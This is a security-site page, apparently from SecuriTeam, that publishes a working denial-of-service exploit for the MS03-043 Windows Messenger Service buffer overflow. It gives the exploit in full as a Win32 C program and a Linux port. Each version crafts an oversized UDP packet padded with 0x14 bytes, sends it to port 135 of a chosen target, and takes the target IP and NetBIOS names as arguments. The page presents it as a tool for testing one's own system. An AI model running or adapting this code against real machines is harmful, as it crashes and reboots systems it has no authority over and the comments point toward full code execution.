SecuriTeam - Proof of Concept for Windows Messenger Service Overflow

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

As we reported in our previous article, Buffer Overrun in Messenger Service Could Allow Code Execution (MS03-043), a vulnerability allows remote attackers to cause the Messenger Service to overflow an internal buffer. The following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by Hanabishi Recca and VeNoMouS.

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

Exploit (Win32):
/*

DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard. Launching it one or two times against the target should make the machine reboot. Tested against a Win2K SP4.

"The vulnerability results because the Messenger Service does not properly validate the length of a message before passing it to the allocated buffer" according to MS bulletin. Digging into it a bit more, we find that when a character 0x14 in encountered in the 'body' part of the message, it is replaced by a CR+LF. The buffer allocated for this operation is twice the size of the string, which is the way to go, but

Credits go to LSD :)

*/

#include <stdio.h>
#include <winsock.h>
#include <string.h>
#include <time.h>

// Packet format found thanks to a bit a sniffing
static unsigned char packet_header[] =
"\x04\x00\x28\x00" "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
"\x4f\xb6\xe6\xfc"
"\xff\xff\xff\xff" // @40 : unique id over 16 bytes ? "\xff\xff\xff\xff" "\xff\xff\xff\xff" "\xff\xff\xff\xff" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xff"
"\xff\xff\xff\xff" // @74 : fields length
"\x00\x00";

unsigned char field_header[] =
"\xff\xff\xff\xff" // @0 : field length
"\x00\x00\x00\x00"
"\xff\xff\xff\xff"; // @8 : field length

int main(int argc,char *argv[])
{
int i, packet_size, fields_size, s;
unsigned char packet[8192];
struct sockaddr_in addr;
// A few conditions :
// 0 <= strlen(from) + strlen(machine) <= 56
// max fields size 3992
char from[] = "RECCA";
char machine[] = "ZEUS";
char body[4096] = "*** MESSAGE ***";

WSADATA wsaData;

WSAStartup(0x0202, &wsaData);

ZeroMemory(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("192.168.186.3");
addr.sin_port = htons(135);

ZeroMemory(packet, sizeof(packet));
packet_size = 0;

memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
packet_size += sizeof(packet_header) - 1;

i = strlen(from) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], from);
packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

i = strlen(machine) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], machine);
packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n", 3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
memset(body, 0x14, sizeof(body));
body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';

i = strlen(body) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], body);
packet_size += i;

fields_size = packet_size - (sizeof(packet_header) - 1);
*(unsigned int *)(&packet[40]) = time(NULL);
*(unsigned int *)(&packet[74]) = fields_size;

fprintf(stdout, "Total length of strings = %d\nPacket size = %d\nFields size = %d\n", strlen(from) + strlen(machine) + strlen(body), packet_size, fields_size);

/*
for (i = 0; i < packet_size; i++)
{
  if (i && ((i & 1) == 0))
   fprintf(stdout, " ");
  if (i && ((i & 15) == 0))
   fprintf(stdout, "\n");
  fprintf(stdout, "%02x", packet[i]);
}
fprintf(stdout, "\n");
*/
if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
  exit(EXIT_FAILURE);

if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, sizeof(addr)) == -1)
  exit(EXIT_FAILURE);
/*
if (recvfrom(s, packet, sizeof(packet) - 1, 0, NULL, NULL) == -1)
  exit(EXIT_FAILURE);
*/

exit(EXIT_SUCCESS);
}

Exploit (Linux):
/*
Mon Oct 20 14:26:55 NZDT 2003

Re-written By VeNoMouS to be ported to linux, and tidy it up a little.
This was only like a 5 minute port but it works and has been tested.
venom@gen-x.co.nz

DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.
Launching it one or two times against the target should make the
machine reboot. Tested against a Win2K SP4.

"The vulnerability results because the Messenger Service does not
properly validate the length of a message before passing it to the allocated
buffer" according to MS bulletin. Digging into it a bit more, we find that when

a character 0x14 in encountered in the 'body' part of the message, it is
replaced by a CR+LF. The buffer allocated for this operation is twice the size
of the string, which is the way to go, but is then copied to a buffer which
was only allocated 11CAh bytes. Thanks to that, we can bypass the length checks

and overflow the fixed size buffer.

Credits go to LSD :)

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

// Packet format found thanks to a bit a sniffing
static unsigned char packet_header[] =
"\x04\x00\x28\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
"\x4f\xb6\xe6\xfc"
"\xff\xff\xff\xff" // @40 : unique id over 16 bytes ?
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xff"
"\xff\xff\xff\xff" // @74 : fields length
"\x00\x00";

unsigned char field_header[] =
"\xff\xff\xff\xff" // @0 : field length
"\x00\x00\x00\x00"
"\xff\xff\xff\xff"; // @8 : field length

int usage(char *name)
{
printf("Proof of Concept for Windows Messenger Service Overflow..\n");
printf("- Originally By Hanabishi Recca - recca@mail.ru\n\n");
printf("- Ported to linux by VeNoMouS..\n");
printf("- venom@gen-x.co.nz\n\n\n");

printf("example : %s -d yourputtersux -i 10.33.10.4 -s n0nlameputer\n",name);
printf("\n-d <dest netbios name>\t-i <dest netbios ip>\n");
printf("-s <src netbios name>\n");
return 1;
}

int main(int argc,char *argv[])
{
    int i, packet_size, fields_size, s;
    unsigned char packet[8192];
    struct sockaddr_in addr;
char from[57],machine[57],c;
    char body[4096] = "*** MESSAGE ***";

if(argc <= 2)
{
usage(argv[0]);
exit(0);
}

  while ((c = getopt (argc, argv, "d:i:s:h")) != EOF)
switch(c)
  {
  case 'd':
   strncpy(machine,optarg,sizeof(machine));
   printf("Machine is %s\n",machine);
   break;
  case 'i':
      memset(&addr, 0,sizeof(addr));
      addr.sin_family = AF_INET;
      addr.sin_addr.s_addr = inet_addr(optarg);
      addr.sin_port = htons(135);
   break;
  case 's':
      strncpy(from,optarg,sizeof(from));
   break;

  case 'h':
   usage(argv[0]);
   exit(0);
   break;
  }

    // A few conditions :
    // 0 <= strlen(from) + strlen(machine) <= 56
    // max fields size 3992

if(!addr.sin_addr.s_addr) { printf("Ummm MOFO we need a dest IP...\n"); exit(0); }

    if(!strlen(machine)) { printf("Ummmm we also need the dest netbios name bro...\n"); exit(0); }

if(!strlen(from)) strcpy(from,"tolazytotype");

    memset(packet,0, sizeof(packet));
    packet_size = 0;

    memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
    packet_size += sizeof(packet_header) - 1;

    i = strlen(from) + 1;
    *(unsigned int *)(&field_header[0]) = i;
    *(unsigned int *)(&field_header[8]) = i;
    memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
    packet_size += sizeof(field_header) - 1;
    strcpy(&packet[packet_size], from);
    packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

    i = strlen(machine) + 1;
    *(unsigned int *)(&field_header[0]) = i;
    *(unsigned int *)(&field_header[8]) = i;
    memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
    packet_size += sizeof(field_header) - 1;
    strcpy(&packet[packet_size], machine);
    packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

    fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n", 3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
    memset(body, 0x14, sizeof(body));
    body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';

    i = strlen(body) + 1;
    *(unsigned int *)(&field_header[0]) = i;
    *(unsigned int *)(&field_header[8]) = i;
    memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
    packet_size += sizeof(field_header) - 1;
    strcpy(&packet[packet_size], body);
    packet_size += i;

    fields_size = packet_size - (sizeof(packet_header) - 1);
    *(unsigned int *)(&packet[40]) = time(NULL);
    *(unsigned int *)(&packet[74]) = fields_size;

    fprintf(stdout, "Total length of strings = %d\nPacket size = %d\nFields size = %d\n", strlen(from) + strlen(machine) + strlen(body),packet_size, fields_size);

if ((s = socket (AF_INET, SOCK_DGRAM, 0)) == -1 )
{
  perror("Error socket() - ");
  exit(0);
}

    if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, sizeof(addr)) == -1)
{
  perror("Error sendto() - ");
  exit(0);
}

    exit(0);
}

blog comments powered by Disqus

	Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit
	IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS
	Progea Movicon TCPUploadServer Remote Exploit
	Trango Broadband Wireless Rogue SU Authentication Bug
	Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow
	Family Connections Multiple Remote Vulnerabilities
	VideoCache vccleaner Root Vulnerability
	QuickHeal Antivirus 2010 Local Privilege Escalation
	DubSite CMS Cross Site Request Forgery Vulnerability
	SonicWall Global Management System XSS Vulnerability
	Sonicwall NSA E7500 XSS Vulnerability
	Juniper Security Threat Response Manager XSS Vulnerability
	Hacking CSRF Tokens using CSS History Hack
	Sun Java System Identiy Manager Users Enumeration
	Microsoft Internet Explorer XML Buffer Overflow (Exploit)